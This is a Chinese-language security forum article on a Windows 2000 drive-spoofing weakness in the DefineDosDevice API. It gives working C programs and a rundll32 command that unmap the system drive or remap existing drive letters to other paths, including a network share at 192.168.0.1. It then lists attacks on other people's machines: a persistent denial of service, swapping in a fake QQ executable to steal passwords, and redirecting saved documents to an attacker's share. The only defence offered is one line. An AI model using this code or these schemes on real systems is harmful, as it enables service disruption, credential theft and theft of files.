DefineDosDevice裝置名稱欺騙漏洞(缺陷) (閱覽 12701 次)
windows有一個叫"subst"的命令,這個命令可以將檔案路徑映射成磁碟機,具體執行參數如下:
c:/>subst /?
將路徑與磁碟機代號關聯。
SUBST [drive1: [drive2:]path]
SUBST drive1: /D
drive1: 指定要指派路徑的虛擬磁碟機。
[drive2:]path 指定物理磁碟機和要指派給虛擬磁碟機的
路徑。
/D 刪除被替換的 (虛擬) 磁碟機。
不加任何參數鍵入 SUBST,可以顯示當前虛擬磁碟機的清單。
這個程式是如何?將檔案路徑映射成磁碟機呢?先來研究一下。在system32目錄下找到這個程式檔案(測試環境是win 2000,下面所有的情況都是這對win 2000作業系統的),用W32Dasm將這個程式反組譯碼,得到輸入函數列表,發現有一個KERNEL32.DLL中的函數DefineDosDeviceW(其實,用文本編輯軟體開啟,就可以看到所有的匯入函數了),這個函數應該就是subst的關鍵了,在MSDN中找到了這個函數:
BOOL DefineDosDevice(
DWORD dwFlags, // 控制標誌
LPCTSTR lpDeviceName, // MS-DOS 裝置名稱
LPCTSTR lpTargetPath // 路徑
);
實際操作後發現其中的路徑參數並不是形如"c:/winnt"的格式,通過QueryDosDevice函數查詢用subst命令建立的虛擬磁碟機發現這個參數應為NT格式——"/??/c:/winnt"。關於win 9x/Me下未做測試。
使用"subst"命令時,你會發現這個命令是無法對一個已經存在的裝置進行映射的,例如執行命令"subst c: d:/"(將路徑"D:/"映射到"C:"):
c:/>subst c: d:/
無效參數 - C:
命令執行失敗了,不過想來這也是理所當然的。可是直接調用DefineDosDevice函數卻沒有這個限制,這可是會引起很大的混亂。你完全可以用特殊的路徑來代替一個已存在的磁碟機來達到欺騙的目的,也可以"刪除"(當然,並不是物理上的刪除,但完全可以造成無法訪問的假象)一個真實的磁碟機。也許難以想象,當windows正在啟動並執行時候,裝有系統檔案的C盤突然消失了……,不過這並不會造系統崩潰,因為windows以將所有要用的檔案都載入到記憶體中了,但此時已經無法再開啟案頭上的任何檔案、捷徑,無法彈出開始菜單中的任何子功能表……,真的是很奇妙的事情啊~~(不過要千萬小心,我玩得太過火,使得outlook訂的新聞群組丟失,還好改註冊表改回來了)。
以下代碼在windows 2000 SP3 + VC 6.0下編譯通過:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"C:","")) // 刪除C盤
MessageBox(GetForegroundWindow(),"error !","Error",MB_OK);
return 0;
}
===================================================
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
char device[1024];
QueryDosDevice("Z:",device,1024); // (磁碟機Z是用"subst"虛擬)來查詢映射的路徑
MessageBox(GetForegroundWindow(),device,"device name",MB_OK);
return 0;
}
===================================================
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
// 將磁碟機D映射成路徑"c:/winnt",無論該磁碟機是否已經存在
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"D:","//??//C://winnt"))
MessageBox(NULL,"error !","error",MB_OK);
return 0;
}
既然已經知道DefineDosDevice這個函數是在kernel32.dll中的,那麼還可以用rundll32.exe來運行這個函數:
rundll32.exe kernel32.dll,DefineDosDeviceA 1,S:,/??/C:/Winnt
更糟糕的是這個函數還可以把網路路徑映射成一個磁碟機。如執行命令"subst z: //192.168.0.1/test"。不過這個映射的磁碟機會在"我的電腦"裡會顯示出特殊的卷標,以及網路磁碟機的表徵圖。當然,還可以通過編程來實現替換一個已經存在的磁碟機,代碼如下:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
// 將磁碟機C映射成UNC路徑
char errortext[20];
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"C:","////192.168.0.1//test"))
{
wsprintf(errortext,"Mapping driver failed: %d",GetLastError());
MessageBox(NULL,errortext,"error",MB_OK);
}
return 0;
}
由於這個漏洞的特殊性,其利用方式也是仁者見仁、智者見智的,全憑你的想象力了。我的想象力並不豐富,所以能想到的利用方法也只有以下幾個:(感興趣的朋友可以和我探討一下,Email:tabris17@citiz.net,QQ:65485803)
1. 使windows拒絕服務:將對方的系統目錄所在的磁碟機"刪除"。現象如上所說,只有重啟了事,如果將命令加入啟動組,對方可能就會鬱悶致死。
2. 欺騙運行惡意程式:假設對方的QQ裝在"D:/Program Files/Tencent"目錄下,將對方"D:"映射到你精心設定的目錄,目錄下有"Program Files/Tencent"檔案夾,若對方運行了案頭上的QQ捷徑,便運行了你設定的路徑下的QQ.exe,如果這是一個偽裝QQ介面的偷密碼的惡意程式的話,對方便會在不知情的情況下輸入密碼,你就可以偷到密碼了(好像十分麻煩,不過只是一個思路)。
3. 欺騙獲得對方檔案:假設對方的Word軟體正在編輯一個文檔,你可以將儲存文檔的磁碟機映射到你精心設定的共用目錄下,然後當對方按下"儲存"後,便會將檔案儲存到你的共用目錄下。
解決方案:
你可以通過執行命令"subst"來顯示所有的對應磁碟機來預防欺騙。
===============================================
本文著作權屬20CN網路安全小組及其作者所有,如有轉載,請保持文章完整性並註明出處
文章類型:原創 提交:四不象 核查:NetDemon